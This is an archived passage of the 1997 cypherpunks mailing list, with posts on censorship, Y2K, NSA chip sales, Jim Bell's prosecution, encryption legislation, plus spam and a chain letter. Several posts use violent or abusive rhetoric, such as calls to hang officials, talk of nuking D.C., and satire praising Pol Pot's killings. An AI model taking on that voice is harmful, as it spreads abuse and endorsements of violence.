  19. http://192.215.107.71/investor/newsroom/newsroom.html
  20. http://192.215.107.71/wire/online/online.html
  21. http://192.215.107.71/wire/software/software.html
  22. http://192.215.107.71/wire/networking/networking.html
  23. http://192.215.107.71/wire/chips/chips.html
  24. http://192.215.107.71/wire/products/products.html
  25. http://192.215.107.71/wire/international/international.html
  26. http://www.techweb.com/search/search.html
  27. http://www.techweb.com/encyclopedia/
  28. http://www.techweb.com/encyclopedia/
  29. http://www.techweb.com/cgi-bin/ad_client.cgi?creativeId=8606&pubId=16&cmd=click_ad&position=236&campaignId=8814&pageName=%2Fwire%2Fnews%2Fjul%2F0728dod.html
  30. http://192.215.107.71/general/toolbar/toolbarPB.gif.map
  31. LYNXIMGMAP:http://192.215.107.71/wire/news/jul/0728dod.html#promomap
  32. LYNXIMGMAP:http://192.215.107.71/wire/news/jul/0728dod.html#toolbarmap





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ahoier@juno.com (A Hoier)
Date: Wed, 30 Jul 1997 07:29:25 +0800
To: cypherpunks@toad.com
Subject: This is an E-Mail Chain Letter!!!!!!!!!!!!!!!!!!!
Message-ID: <19970729.191146.3374.0.ahoier@juno.com>
MIME-Version: 1.0
Content-Type: text/plain



I'm passing around this letter so write a comment on it then forward it
to  some friends wonce you see 100 names on it E-MAIL it to
ahoier@juno.com.......K
--------------------------------------------------------------------------------------------------------------------
Write 1st comment here then pass on to friend...K





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Wed, 30 Jul 1997 08:28:30 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: Declan Does Boylove
In-Reply-To: <v03007800b00405677c39@[168.161.105.191]>
Message-ID: <199707300024.TAA28244@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <v03007800b00405677c39@[168.161.105.191]>, on 07/29/97 
   at 04:50 PM, Declan McCullagh <declan@well.com> said:

>Now *this* is a Subject: line I never expected to see flash across my
>screen...

>Since dejanews.com is on that swamp-list, I suspect pathfinder.com may
>appear as well.

>Banning images or text because they might lead to impure thoughts or even
>criminal actions is odd. It makes individuals *less* responsible for what
>they do, and refuses to admit the possibility of free will...

There is nothing odd about it. This is the SOP for these Nazi bastards. It
is the central theme with the anti-crypto, pro-ratinging crowd.

Their only goal is to have the power to contol what you can and can not
say. If you deviate from their moral code they want the power to punish
you with the force of the state.

This is no different then the Holy Roman Church back in the dark ages. If
you say that the world if round against church doctrin they will put you
on the rack.


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Wed, 30 Jul 1997 09:09:09 +0800
To: Alan <alan@ctrl-alt-del.com>
Subject: Re: y2k problem *serious*
In-Reply-To: <Pine.LNX.3.95.970729170646.1036C-100000@www.ctrl-alt-del.com>
Message-ID: <199707300059.TAA28643@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <Pine.LNX.3.95.970729170646.1036C-100000@www.ctrl-alt-del.com>, on
07/29/97 
   at 05:16 PM, Alan <alan@ctrl-alt-del.com> said:


>On Tue, 29 Jul 1997, Matthew Ghio wrote:

>> Which will give you a year 2106 problem instead. :)
>> 
>> That'll at least fix most email systems.  InterNetNews will need a bit
>> more work to prevent it from trashing its history file come 3:14am
>> on January 19, 2038.
>> 
>> "Death of usenet predicted; film at 11..."

>It just means that some of us will still be around when it all comes
>crashing down around us.

>Short sightedness will be a problem long into the future and beyond. 
>With current management trends, it should actually escalate.  Soon the
>networks of the world will resemble "Information Rope Bridges" like in
>some jungle adventure movie.  You fear to use them because they might
>snap and send your data hurling to its death at the bottom of /dev/null. 
>And to shore up the problem, we will get more "quality initiatives",
>quick fixes filtered through "media awareness", and more useless gunge. 
>And it will all be held together by a couple of engineers who will get
>fired because they did not have the right attitude or refused to wear a
>neck-tie.

>The death of the net will not be caused by hidden date problems or
>anything publicised.  The last words for the net will be someone from
>marketing saying "what does this red button do?.

Well I really have to laugh my ass off over the Y2K thingy. :)

I get calls on a weekly basis to do Cobol work on the Y2K which of cource
I turn down (anyone who has waited this late to fix the problem is beyond
hope).

Anyone, and I do mean anyone, who has not already resolved any Y2K issues
by now get exactly what they deserve and it would be best for all
concerned if on Jan 1, 2000 they just disappeared (some people are just
too stupid to survive).


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Wed, 30 Jul 1997 09:08:14 +0800
To: cypherpunks@einstein.ssz.com
Subject: Gone for vacation
Message-ID: <199707300105.UAA28700@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Hi,

I will be on a much needed vacation for the next couple of weeks in
Chicago.

If any CP's wish to get together this weekend while I am up there please
let me know by Wed afternoon.

I'll be droping my subsrciptions down to only the ssz list for the
duration of my vacation.

Thanks,

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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=e4Q4
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Wed, 30 Jul 1997 12:06:02 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Thoughtcrime
In-Reply-To: <v0310280cb004372f80c1@[207.167.93.63]>
Message-ID: <19970730035809.15004.qmail@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain



Tim writes:

> One word explains this and similar laws: "thoughtcrime."

An interesting aside.  A reliable source tells me that the thing that
pushed XtatiX.com over the edge was a threat by US Customs to seize all
their equipment for

"Investigation of an International Child Pornography Ring" 

Note this is merely an "investigation,"  not even an allegation that a
crime has actually occurred.  Apparently, they seize all your assets, then
investigate, and keep them regardless of the outcome.

XtatiX, consisting of two not particularly wealthy guys and a Linux box,
had no alternative but to remove from their system free speech the Feds
didn't like, in order to remain in business.

The thumbscrews of Democracy work in mysterious ways. :)

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frissell@panix.com
Date: Wed, 30 Jul 1997 09:22:59 +0800
To: cypherpunks@toad.com
Subject: Re: CanadaBanAna Censors US TV (and bans decryption)
In-Reply-To: <199707270408.GAA12295@basement.replay.com>
Message-ID: <3.0.2.32.19970729210935.03611ad0@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

>   In this judgment, it is illegal for a Canadian to watch HBO and scores
>   of other channels now available in the United States -- even if the
>   service is paid for -- on the grounds that the federal
>   Radiocommunication Act makes it illegal. The act says no person shall
>   decode an encrypted signal without paying for the service and without
>   authorization of the person who has the lawful right in Canada to
>   transmit the signal.

Looks like another case for the WTO.

Canadians have been buying gray market service from Direct TV for a while 
now.  Hard to stop.

DCF
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 30 Jul 1997 04:15:01 +0800
To: cypherpunks@toad.com
Subject: Re: y2k problem *serious*
Message-ID: <199707291944.VAA14920@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Ray Arachelian wrote:
 
> Ah, so "Toto" is still with us (if only shadowed by the cloak work of the
> lurker...)

Ray,
Prying open my 3rd eye. So good to see you once again. I thought you
were hiding. And you thought that I had run away. Chasing the tail of
dogma. I opened my eye and there we were....                     

"Woof" <wag-wag>
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix
"WebWorld & the Mythical Circle of Eunuchs"
http://bureau42.base.org/public/webworld
"The Final Frontier"
http://www3.sk.sympatico.ca/carljohn





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Wed, 30 Jul 1997 12:01:03 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: National Security Agency markets commercial ASICs (fwd)
Message-ID: <199707300347.WAA15604@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Hi,

This has to be a first. Usually the central government wants its citizens to
pay taxes. What a novel idea investing our tax dollars this way.

When can we expect to get our dividends as tax payers and therefore inherent
investors in this little enterprise?

Sounds like somebody in the NSA is getting ready to have their collective
butts fried...


    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|



Forwarded message:

> From owner-cypherpunks@ssz.com Tue Jul 29 15:59:12 1997
> Message-ID: <33DE5CF2.2424@nwdtc.com>
> Date: Tue, 29 Jul 1997 14:13:22 -0700
> From: Alan Olsen <root@nwdtc.com>
> Organization: Xerox Business Services - NW DTC
> X-Mailer: Mozilla 3.01 (X11; U; SunOS 5.5.1 sun4m)
> MIME-Version: 1.0
> To: cypherpunks@algebra.com
> Subject: National Security Agency markets commercial ASICs
> Content-Type: text/plain; charset=us-ascii
> Content-Transfer-Encoding: 7bit
> Sender: owner-cypherpunks@ssz.com
> Precedence: bulk
> X-Mailing-List: cypherpunks@ssz.com
> X-List-Admin: list@ssz.com
> X-Loop: ssz.com
> http: //techweb.cmp.com/eet/news/97/965news/national.html
> 
> National Security Agency markets commercial ASICs
> By Loring Wirbel
> 
> SNOWMASS, Colo. -- On a scale unprecedented for a government
> intelligence arm, the National Security Agency (NSA) is expanding its
> selling of
> ASICs and design services, even offering commercial semiconductor
> designs for selected space-based and terrestrial applications. 
> 
> Terry Brown, NSA deputy chief of microelectronics, said the customer
> list will still be so specialized that the agency won't compete directly
> against
> developers of military ASICs and rad-hard devices. "Any customer of ours
> would still require a government sponsor at some level," he said. 
> 
> Nevertheless, at an IEEE conference held recently, representatives of
> Harris Semiconductor and UTMC Microelectronic Systems wondered how and
> why a secret government agency would compete against them. 
> 
> One representative of a commercial IC house, who asked not to be
> identified, said, "Whenever the government thinks it can sell products
> to OEMs, it
> inherently raises some problems." 
> 
> The commercial efforts involve NSA's 6-inch CMOS fab, run by National
> Semiconductor Corp., at NSA headquarters in Fort Meade, Md., and a
> Microelectronics Research Lab run by NSA at an undisclosed Maryland
> location. The agency has developed special ASICs for selected customers
> ever since National helped open the fab in the late 1980s. Some, such as
> the Mykotronx division of Rainbow Technologies Inc., were partners in
> crypto chips, while others sought NSA expertise in radiation-hardness
> for space applications. 
> 
> Looking to expand that customer base, the agency has named Leland Miller
> its first director of marketing for microelectronics. At the IEEE
> Nuclear
> and Space Radiation Effects Conference, NSA had a large trade booth
> advertising the capabilities of "NSA Microelectronics." 
> 
> Brown said NSA has special talent in data-path design, used in signal
> and image processing but ignored by many ASIC vendors. 
> 
> NSA's fab has a library of more than 100 standard cells, optimized for
> CMOS feature sizes from 0.5 to 1.2 microns. The fab handles double- and
> triple-metal designs and is just beginning to add non-volatile EPROM and
> E2PROM cell capabilities.
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Wed, 30 Jul 1997 12:38:27 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Thoughtcrime (fwd)
Message-ID: <199707300418.XAA15705@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Subject: Re: Thoughtcrime
> Date: Tue, 29 Jul 1997 20:58:09 -0700 (PDT)
> From: Mike Duvos <enoch@zipcon.net>
> 
> An interesting aside.  A reliable source tells me that the thing that
> pushed XtatiX.com over the edge was a threat by US Customs to seize all
> their equipment for
> 
> "Investigation of an International Child Pornography Ring" 
> 
> Note this is merely an "investigation,"  not even an allegation that a
> crime has actually occurred.  Apparently, they seize all your assets, then
> investigate, and keep them regardless of the outcome.
> 
> XtatiX, consisting of two not particularly wealthy guys and a Linux box,
> had no alternative but to remove from their system free speech the Feds
> didn't like, in order to remain in business.
> 
> The thumbscrews of Democracy work in mysterious ways. :)

This is a cop-out attitude. They should have screamed bloody murder and
demanded at least a public apology. Every commercial customer should
understand their right to sue for losses related to 'work in progress' and
for such seizures to be legal must be explicity listed on the search
warrant. Simply buying service from a company isn't worth the hassle to push
as probable cause, especialy if wrong even in one instance.

Hell, if they make less than a million a year each now it is in their best
interest to fight. The income potential alone is worth it assuming they had
the moxy to figure out a good way to market it. Which might be a novel
tactic to use, "screw with me and I'll make money off it, screw with me more
and I'll make even more..."

If the NSA can take our federaly mandated tax dollars to run a commercial
enterprise in the market they set legislation for why should anyone object
to others making a profit off their actions?

We need an amendment something akin to the 1st relating to the relationship
between government and commercial enterprise.

    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 30 Jul 1997 06:08:18 +0800
To: cypherpunks@toad.com
Subject: Re: Boylovers, NAMBLA, and Net-vigilantes, from The Netly News
Message-ID: <199707292148.XAA29748@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



> From: Declan McCullagh <declan@well.com>
> To: fight-censorship@vorlon.mit.edu
> Subject: Boylovers, NAMBLA, and Net-vigilantes, from The Netly News
> -----
> http://pathfinder.com/netly/opinion/0,1042,1222,00.html

>         It started in May, after Cox launched an assault on "boy-lover"
>    web sites in an attempt to force them offline. But she and her allies
>    ran into a serious obstacle: the sites aren't illegal. They're filled
>    not with child pornography -- which is banned by federal law -- but,
>    instead, photos of boys in swimsuits. "They shouldn't be doing these
>    things with the children's pictures," Cox says.

  ROTFLMAO!
  I checked out the "Sewer" site and followed the links. It seems that
the threat of "boylover" porno on the Internet is so slight that dear
Ms. Suques-Cox's list of "evil" sites is mostly links to the sites of
child actors and actors-guild types of sites which are for the purpose
of highlighting their careers, promote fan clubs, etc.
  In addition, she demands that these sights post (or email her) some
type of "disclaimer" in order to be removed from her sewer list, despite
the fact that the "dirt" seems to be entirely in her twisted little
mind.

  No doubt Ms. Suques-Cox is raking in the dough in her efforts to
"fight the good fight" against the demons in her mind, by projecting
them into an outside threat to her world-view.
  I was thinking that perhaps I might be able to ride this fascist trend
to the Big Buck$ by attacking web sites which contain perverted pictures
of such things as cantalopes, cucumbers, valleys, caves,
obleisks--pretty
much anything that is longer than it is wide, or deeper than it is flat.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 30 Jul 1997 15:13:23 +0800
To: cypherpunks@Algebra.COM
Subject: [NEWS}: "Jim Bell to Face More Prison Time than Pol Pot"
Message-ID: <v03102801b004964f2981@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain





Reuter, Seattle: In an ironic twist, notorious info-terrorist and thought
criminal James Dalton Bell is expected to be imprisoned longer than former
Khmer Rouge leader Pol Pot will be imprisoned in Cambodia.

Reached for comment, U.S. Deputy Assistant Persecutor Francine P. Malveaux
admitted that Bell's punishment is indeed harsher than that befalling Pol
Pot, accused of ordering the killing of 3 million Cambodians from 1975 to
1979. She said, "But Bell confessed to his crimes, and Pol Pot just took
the Fifth, so Mr. Pot was actually not convicted of anything more serious
than selling contraband copies of "Zap Comix," which his rebel band was
smuggling in from Myanmar."

FBI Director Louis Unfreeh acknowledges the harsh treatment Bell is
receiving is meant as a deterrent. "We are looking into the possibility of
inviting Mr. Pot to come to the United States after he completes his 3
months of community service...we'd like him to advise us on our growing
internal security problems," he noted.

Bell could not be reached for comment.





--















From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: CBRAT97@aol.com
Date: Wed, 30 Jul 1997 13:19:45 +0800
To: cypherpunks@toad.com
Subject: Work at Home
Message-ID: <970730010646_378681795@emout17.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain



If this message is not appropriate for you, please accept my apology and
remove it.

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We connect people with HONEST companies who hire people to work at home.

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 30 Jul 1997 16:28:21 +0800
To: cypherpunks@toad.com
Subject: Gary Burnore Arrested at Critical Mass
Message-ID: <3.0.2.32.19970730011236.030509b4@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



Those of you in the San Francisco area have seen headlines
about the Critical Mass monthly bicycle rides around San Francisco
and about how Da Mayor and the police decided to control them
(as if telling an anarchy what to do is productive for anyone)
and arrested 250 people, some for running red lights, but
many for failing to disperse, as near as I can tell from the papers.
It was overall a fun evening, though my brakes weren't really
up to Lombard Street :-)

Anyway, Gary Burnore, scourge of the remailers, was arrested.  
According to the paper, he wasn't really sure why; 
the police didn't give people enough time to disperse
before massly arresting them for not dispersing.

The city district attorney _has_ informed Da Mayor that the city can't
just confiscate the bikes that were seized along with the riders;
apparently it's not part of the law :-)  On the other hand,
that doesn't mean they necessarily have to give them back
right away, as opposed to holding them as evidence.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Antonomasia <ant@notatla.demon.co.uk>
Date: Wed, 30 Jul 1997 09:48:50 +0800
To: cypherpunks@toad.com
Subject: upside of y2k
Message-ID: <199707300022.BAA05188@notatla.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




Vladimir Z. Nuri wrote:
   
>    Speaking of banks, what if your savings account is in XYZSavings and
>    Loan of South Poobah? If depositors begin to worry about XYZ's
>    year-2000 compliance in late 1999, will they begin withdrawing all of
>    their money? If they do, will you be able to withdraw your money on
>    January 3, 2000? Indeed, given the delicate balance of the fractional
>    reserve system used by banks, it doesn't take a very large percentage
>    of panicky customers to cause a bank run. The worst-case scenario in
>    this area is pretty scary -- it might not be just the XYZSavings and
>    Loan that suffers a bank run, but the big banks too. If the banks
>    close for more than a couple of days, then how does the government
>    collect taxes? If the government can't collect taxes, what happens to
>    the value of its bonds, T-bills, and other financial instruments?
   
On Tue, 29 Jul 1997, Anonymous wrote:

>   There is an underground computer organization in place which is
>   actively working toward sabotaging government and corporate efforts
>   to resolve the Year 2000 problems. 

This all reminds me of the old Polish joke....

Man takes week's wages into his bank, and he hands it over the counter
he has second thoughts, so he asks the teller "What if the bank collapses ?"

T: "Easy, sir.  We're in a federation that will bail us out."

C: "And if it's widespread, beyond the scope of the federation ?"

T: "Then the government bails us out."

C: "What, our Polish government ?  It could be too much for them."

T (getting bored): "Then the _Soviet_ government gets involved."

C: "It could get really big, affecting a number of satellites
    what if it gets beynd the reach of the Soviet gov ? I mean,
    it could result in the collapse of communism!"

T: "And isn't that worth a week's wages ?"


--
###############################################################
# Antonomasia   ant@notatla.demon.co.uk                       #
# See http://www.notatla.demon.co.uk/                         #
###############################################################





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 30 Jul 1997 16:34:51 +0800
To: cypherpunks@toad.com
Subject: Government takeover of the gambling industry
In-Reply-To: <199707300716.JAA04996@basement.replay.com>
Message-ID: <v03102803b004a9c5bbfe@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 12:16 AM -0700 7/30/97, Anonymous wrote:

>  Youngsters on the list might not remember how private individuals
>involved in gambling used to be denigrated by the government as "the
>scum of the earth"--as "criminals" and "mobsters" and "evil."
>  Now that the government has hijacked the gambling industry, only
>those not paying the government their share of the "vigorish" are
>scum-sucking criminals.

It's the way of all governments. First denounce something, then co-opt it,
then get rid of the competition.

But imagine how this might rebound to our favor: suppose NSA
Microelectronics, Inc. finds itself limited in its sales prospects by the
NSA policies limiting electronics companies...maybe NSA Microelectronics
will point out to the DIRNSA that the nice flow of kickbacks to all senior
NSA managers will come to a halt if NSA Microelectronics is not able to
sell its crypto products domestically.

Still, better just to have a trial and then hang them.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Wed, 30 Jul 1997 16:41:58 +0800
To: Kent Crispin <kent@songbird.com>
Subject: Re: HISTORY - pre-CDA, "compromise", untrue civil-liberties groups
In-Reply-To: <19970721120326.06352@bywater.songbird.com>
Message-ID: <Pine.LNX.3.95.970730012900.270A-100000@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 21 Jul 1997, Kent Crispin wrote:
> I view your question as equivalent to "But what if one has no
> brain..." Principles are underlying rules controlling behavior, and

	I'd guess you never worked tech support have you.  

	There are people without <functional> brains. I <shudder> know. 

Petro, Christopher C.
snow@smoke.suba.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 30 Jul 1997 08:59:53 +0800
To: cypherpunks@toad.com
Subject: Screw SAFE / Re: Majority in house support SAFE encryption bill, from SPAlert
Message-ID: <199707300043.CAA23727@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



> MAJORITY IN HOUSE SUPPORT PASSAGE OF ENCRYPTION BILL

> "On the other side of Capitol Hill, however, the
> ghost of J. Edgar Hoover lurks in the cloakrooms of the Senate.  Rather
> than taking a courageous stand for America, some Senators would rather
> follow the administration's play book, trading personal freedoms for what
> they themselves admit is only marginal improvement."

  Screw SAFE, and screw the Senate.
  The Military-Industrial complex is switching their web network to
utilize the tools developed by the free market. The reason is that
the anal-retentive robots that they employee are incapable of
producing products and services at the same level as those which
are produced by free men.
  Let the fascist fucks in the Senate and at the DOD fiddle while 
D.C. burns. Let them fuck up the American crypto industry with Brave
New Clipper Chips while free men in other countries develop the
technology that will enable them to slip the Pentagon a cold, hard
one up the butt and free us from the bulimic Senate swine.

  It's better that we should let foreigners with strong crypto take
care of nuking D.C. for us. Perhaps this is what Clinton's Chinese
campaign contributors have in mind. Perhaps the Chinese are actually
the ones behind the scenes calling the shots in the Whithouse stand
on opposing strong U.S.-developed encryption.
  No doubt foreign spies and terrorists are vocal supporters of the
Whitehouse's stance on encryption and key escrow. (As are the
money-grubbers who can't wait to take advantage of having access
to corporate America's private communications.)

  I guess those who have given up their guns to those who oppose the
Constitution should start taking some foreign language classes.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Pretty Lousy Remailer" <plm@dv.nl>
Date: Wed, 30 Jul 1997 17:00:07 +0800
To: cypherpunks@toad.com
Subject: Re: [NEWS}: "Jim Bell to Face More Prison Time than Pol Pot"
Message-ID: <199707300846.CAA14357@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:
> 
> Reuter, Seattle: In an ironic twist, notorious info-terrorist and thought
> criminal James Dalton Bell is expected to be imprisoned longer than former
> Khmer Rouge leader Pol Pot will be imprisoned in Cambodia.

  This Tim May guy seems to be some kind of wise-guy/troublemaker.
  He obviously doesn't understand the difference between a respected
world-leader and an average citizen.

> Reached for comment, U.S. Deputy Assistant Persecutor Francine P. Malveaux
> admitted that Bell's punishment is indeed harsher than that befalling Pol
> Pot, accused of ordering the killing of 3 million Cambodians from 1975 to
> 1979. She said, "But Bell confessed to his crimes, and Pol Pot just took
> the Fifth, so Mr. Pot was actually not convicted of anything more serious
> than selling contraband copies of "Zap Comix," which his rebel band was
> smuggling in from Myanmar."

  What Mr. May fails to mention, in his pathetic attempt to mislead his
readers, is that those 3 million Cambodians that Pol Pot eliminated were
all terrorists, child-pornographers and drug dealers. These actions were
necessary in order to protect "national dictatorship" and to meet the
"legitimate needs of dictatorship."
 
> FBI Director Louis Unfreeh acknowledges the harsh treatment Bell is
> receiving is meant as a deterrent. "We are looking into the possibility of
> inviting Mr. Pot to come to the United States after he completes his 3
> months of community service...we'd like him to advise us on our growing
> internal security problems," he noted.

  Despite Mr. May's snide sarcasm, ask yourself, "Who would I rather
have
acting as the new CypherPunks list moderator--Pol Pot or Jim Bell?"
  The choice is obvious.
 
> Bell could not be reached for comment.

  Bell also could not be reached when the President tried to contact him
to arrange a pardon in return for his methamphetamine recipe. Clinton,
clutching a needle and spoon in his hand, stated, "I tried speed once,
but I didn't inhale."
  Reports indicate that the Public Defender representing Bell told him,
"The _Bad_News_ is that I sold you down the river. The _Good_News_ is
that I'm getting a promotion and a tax refund next year."

  Tim C. May would have us believe that some no-account loser who only
fantasized about murdering his enemies should be given the same respect
and consideration as a world-leader who had the courage and character
needed to put his ideas into action.
  If Mr. May was not too lazy to check the mainstream media archives,
he would be aware that Pol Pot was sentenced to "house arrest." If
Mr. May was did not consider himself so high-and-mighty that he thinks
it beneath him to suck a little D.C. cock for inside information, he
would also be aware that the "house" Pol Pot will be confined to is
the "Whitehouse" and that he will be sleeping in the Lincoln bedroom
as a result of his generous donation of gold-tooth fillings to the
next Democratic election campaign.

  CypherPunks list readers should be aware that Tim C. May's hidden
agenda is to subvert national security by working in the interests
of privacy, freedom and liberty, at the expense of "we the sheeple."
  If we allow anarchists and terrorists such as Mr. May and his
cohorts to interfere with the "legitimate needs of fucking the 
citizens over and remaining in power," then we can expect to be 
faced with chaos and lawlessness, with CypherPunks destroying
government property by dumping Clipper Chips into Boston Harbor.

  Believe Tim C. May's lies, if you will, but you cannot deny that
Pol Pot's execution of 3 million Cambodians serves to affirm that
he was, indeed, "tough on crime." That, alone, should get him 
elected as the next Congressman from Arizona.

FrissellMonger

XXX---YYY---ZZZ---XXX---YYY---ZZZ---XXX---YYY---ZZZ---XXX---YYY---ZZZ---
This email was forwarded by the "Pretty Lousy Remailer." If you wish to
know who sent it, check the headers. "PLR" has no interest in protecting
the identity of anonymous cowards such as Queen Elizabeth II.
XXX---YYY---ZZZ---XXX---YYY---ZZZ---XXX---YYY---ZZZ---XXX---YYY---ZZZ---





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 30 Jul 1997 17:29:15 +0800
To: cypherpunks@toad.com
Subject: Escrow conference in Brussels
Message-ID: <1.5.4.32.19970730090516.0070c834@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



To: ukcrypto@maillist.ox.ac.uk
Subject: Escrow conference in Brussels
Date: Wed, 30 Jul 1997 09:54:20 +0100
From: Ross Anderson <Ross.Anderson@cl.cam.ac.uk>



                       CONFERENCE ANNOUNCEMENT

                     CRYPTOGRAPHY AND THE INTERNET

                 Developing Privacy and Security Policy
                  for the European Information Society


                            Organised by

                       PRIVACY INTERNATIONAL

                      Cooperating Organisations

                  Communications Week International
                Electronic Privacy Information Center
                   Global Internet Liberty Campaign
                               MICROBE
                              Terra Nova


                      Monday, 15 September 1997

                 Belliard Building, European Parliament
                           Brussels, Belgium


As Europe creates the Information Society,  ensuring the security and
privacy of its advanced telecommunications and computer networks has
become critically important. Cryptography is a crucial technology to
protect these networks. Law enforcement and intelligence agencies, led by
the the United States, are lobbying national governments and
international organizations for laws and international agreements to
enhance their abilities to monitor  networks through the use of "trusted
third parties," key escrow and key recovery systems. This has met with
considerable debate and resistance in many countries and international
meetings.

This conference will bring together leading legal and technical experts
>from around the world to discuss encryption and telecommunications
security with a focus on issues raised by trusted third party, key escrow
and key recovery systems. A panel of leading cryptographers and computer
security experts will examine the technical problems and risks raised.
Representatives from governments, human rights groups, industry, user
groups, and international organizations will discuss their perspectives
and provide updates on developments from around Europe and the world.


Keynote Speaker: Commissioner Mario Monti, European Union (invited)

       Confirmed Speakers

    Dr. Ross Anderson, University of Cambridge, UK
    David Banisar, Electronic Privacy Information Center, USA
    Dr. Matt Blaze, AT&T Labs, USA
    Tony Bunyan, Statewatch, UK
    Carl Ellison, CyberCash
    Simon Davies, London School of Economics & Privacy International
